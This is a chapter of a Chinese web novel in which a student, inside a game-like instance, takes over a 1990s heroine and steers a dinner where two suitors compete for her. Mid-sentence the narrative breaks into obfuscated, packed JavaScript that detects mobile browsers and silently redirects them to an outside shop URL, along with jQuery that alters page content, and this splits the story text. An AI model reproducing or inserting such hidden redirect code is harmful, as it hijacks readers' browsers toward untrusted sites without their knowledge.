第八章：二男争一女
第二天一大早，张小雨起床去了趟菜市和商超，采购了一大堆吃的喝的。
接下来，她要进入空间攻略副本，还不懂具体情况如何，有备无患准没错。
回到出租房，张小雨把卧室的窗帘拉上，在床头柜上放点水和零食，抱着玄月躺在床上，用脖子上挂着的钥匙打开空间。
和昨天一样，空间依旧是白茫茫的一片，张小雨进去后，屏幕悬浮在眼前，开启的按钮不断闪烁，诱惑着她开启副本。
她屏住呼吸，按下按钮，空间突然闪爆，待刺眼的白光退去，她发现自己竟还待在出租房的卧室里。
不对，房间的陈设好像变了。
房间里放着深棕色的大衣柜，床上用品换成小碎花样式，枕头上铺着印有花开富贵图案的毛巾......一切怎么像是上世纪的风格？
张小雨把书桌拉近，风吹过窗帘微动，桌子上有块玻璃垫着，里面夹着几张照片：他们看起来是一家三口，爸爸戴着眼镜，文质彬彬的；妈妈烫着大波浪，大红唇，脖子上系着丝巾，复古时髦；女儿梳着两股大麻花辫，明目皓齿，巧笑盈盈。这张照片是他们坐在沙发上拍的，沙发背后是一幅裱着北京天安门的大相框。
等等，她怎么能“把书桌拉近”呢？
正疑惑间，门外突然传来一阵嘈杂声，张小雨的视角突然被切换至客厅。
照片里的爸爸坐在沙发上看报纸，头上悬浮着“查看”二字，茶几上的茶杯冒着热气，他时不时看向厨房的方向，嘴角上扬。
厨房里，有一对母女在忙碌，她们的头上同样悬浮着“查看”二字。
张小雨一一点开，原来是人物简介。
沙发上坐着的是李父，职业大学教授。厨房里的是李母和女主李想。点击后，人物头上的“查看”，则变成各自的身份信息。
Thisisagame!
张小雨恍然大悟，她初步搞懂了这个副本的底层运行逻辑。它其实就像是个沉浸式体验的游戏，她角色扮演女主，推动剧情发展，其他人物全是NPC。
为了验证猜想，她再次点击女主，女主李想身上出现“连接”二字。张小雨选择“连接”，她瞬间就变成女主视角，拥有女主所有的感知，能闻到厨房浓郁的鸡汤香味。
那能控制女主的动作和话语吗？张小雨决定试一试，开口问道：“妈妈，今晚是有客人来吗？”
果然可以。她听见女主的声音，清脆悦耳。
李母莫名其妙：“傻孩子，不然我们一下午在忙活些什么？”
张小雨爽了，压不住嘴角持续上扬的笑意。她一个来自2026年的堂堂大学生，对付几个游戏里的NPC岂不是小菜一碟，仿佛能看到一百万在不远处招手。
她又点击一下女主，女主身上出现“断开”二字，张小雨点击“断开”，女主恢复成NPC。
自此，这个副本如何玩，她已经完全弄清楚了。她可以是李想，但李想永远不会是张小雨。
机械座钟“铛铛铛”敲响六次，时间来到晚上六点，门外传来几下敲门声，敲门力度克制而有规律。
李想一路小跑去迎门，门口是两个人高马大的年轻人，他们手上分别提着一网兜苹果和黄油纸包裹的糕点。
“你好，请进。”李想悄悄红了脸，好在临近傍晚，光线昏暗，没人发现。
张小雨连忙点开人物简介。
其中一个偏白净、长得斯斯文文的男生，叫何永昌。另一个皮肤黝黑、戴着眼镜、有些干瘦的，叫陈孝仁。
哎哟，女主、男主悉数登场了。张小雨来了兴致，磕着瓜子，站在更高维度旁观这些人的一举一动。
原来他们两个是李父的得意门生，今天上门吃饭，一是全了师生情谊，二是有意给女儿李想牵线搭桥。
何永昌落落大方，妙语连珠，引得李父、李想哈哈大笑，李母在一旁看在眼里记在心里，一脸欣慰。反观男主陈孝仁则沉默寡言，与当前热闹的场面格格不入。
张小雨注意到，陈孝仁脚上穿着一双洗得发白的布鞋，他的手指不停地搓动着，一时放在腿上，一时放在两边，偶尔喝口茶，附和着干笑几声。
男主有些上不了台面啊，穷且自卑。张小雨暗叫不好，男主第一次见面表现得那么差劲，叫她后面怎么完成任务？
张小雨赶紧连接李想，化身“李想”，试图力挽狂澜。
李母将最后一道菜清炒菜心端上桌，招呼大家落座用餐。
方桌上摆了满满当当的六菜一汤，有香菇炖鸡、红烧肉、清蒸鱼、凉拌皮蛋等。这排场，放在上世纪90年代，简直和过年一样。
“来来来，坐，都坐。”李父招待两位学生入席。
何永昌很有眼力见，直接坐在李父的对面，陈孝仁坐在李父左侧。“李想”没有和母亲同坐在李父的右侧，而是坐在陈孝仁旁边。此举让在场的人有些错愕，对面的李母频频给“李想”使眼色。
“李想”非但视而不见，还积极给大家盛汤，单独给陈孝仁舀了个大鸡腿，光明正大地搞特殊。
陈孝仁的耳朵悄悄红了，小声地说“谢谢”，埋头干饭。
李父、李母面子上有些挂不住，眼前这个女儿是不是撞邪了，尽做些丢人显眼的事情，搞得气氛有些尴尬。
何永昌嘴角微扯，闪过一丝不易察觉的嘲讽。他耸了耸肩，巧妙地开启话题，与李父谈笑风生，从文学名著聊到国际形势，期间穿插着夸李母厨艺了得。李母被哄得眉开眼笑，频频给他夹菜，越看何永昌越满意。
再看陈孝仁，端着碗，筷子只夹面前那盘清炒菜心，连红烧肉都不敢伸筷子，一副没见过世面的穷酸样，李母内心深处暗暗嫌弃。
李父没忽略这位沉默寡言的得意门生，给他夹了块红烧肉，“孝仁，别客气，多吃点。”
“谢谢老师。”陈孝仁拘谨地点头。
“李想”在旁边看着干着急，这男主就像根木头，烂泥扶不上墙，被男配秒成渣渣。
酒过三巡之后，众人醉眼惺忪。
李父终于切入今晚的主题
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749746|209395||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
：“永昌、孝仁，眼下毕业在即，你们有什么打算？”
陈孝仁抬起了头，话还没到嘴边，便被何永昌抢了先。
“师父、师母，毕业后我打算进烟草局，家里头都安排好了。”寥寥数语，实力尽显。
“不错，稳定，有前途。”李父夸赞道。
“孝仁你呢？”
“老师，我打算继续深造，读博。”陈孝仁眼睛亮亮的，声音不大，却掷地有声。
“有目标学校吗？”李父问道。
“有，但未成之事，现在还不便说。”
这个回答让在场的人略感惊艳，陈孝仁人虽穷，但志向远大，是个可造之才。
李父更是得意，不愧是他的得意门生之一，最后关头给他长脸了。
散席时已接近九点，屋外的虫鸣声一浪高过一浪。
“李想”主动提出送李父的得意门生，李母想拦也拦不住。
三人走到小区门口，月光把影子拉得老长。何永昌停下脚步，冷不丁地说了句：“小师妹，你今天真漂亮。”
“......”
我靠，当老娘我是懵懂怀春的无知少女啊。
可惜，何永昌现在撩的不是真正的李想，而是来自2026年的张小雨。这种不入流的套路，她都懒得接招。
“谢谢，我每一天都很漂亮。”
“噗嗤～”平时闷声不响的陈孝仁居然笑了，这让何永昌很是尴尬，脸上一阵红一阵白。
“小师妹说话真有趣。时间不早了，我们改日再登门拜访。”何永昌干咳两声，整了整衣领，很快恢复那副温文尔雅的模样。
他这话是对着“李想”说的，目光却越过她，意味深长地看了陈孝仁一眼，仿佛在说：就凭你？也配跟我争。
陈孝仁没有回视，只是垂着眼，盯着自己那双洗得发白的布鞋。
刺激啊，二男争一女。张小雨非常满意这副本的开局走向，送完两人之后，选择断开连接。
李想回家被李母拉着一顿唠叨，说来说去无非是叫她选择条件更好的何永昌，而不是家里穷得叮当响的陈孝仁。
李想不置可否。她躺在床上，仔细回忆今晚的每一处细节。她不明白自己为何会主动坐在陈孝仁身边，为什么会给他夹大鸡腿，那些举动仿佛是被无形的力量牵引着。
而无论是什么，李想都选择全盘接受，不会抵抗。
张小雨站在床边读着李想脑子里的想法，悬着的心放下了。
她一直很担心，她和李想断开连接之后，女主会不会觉醒，推翻自己的言论或行为，导致前后不一致，进而使副本剧情崩坏，任务难以进行。
现在看来，一切尽在掌握之中。
退出副本之后，张小雨又回到白茫茫的空间里，她面前的屏幕显示一行字“白眼狼副本剧情自动或存档暂停”，并附上对应的选项。
张小雨果断选择存档暂停，不用每时每刻都待在空间里，太累了。
往后几天，她准备狠狠恶补恋爱知识，争取早日把陈孝仁拿下。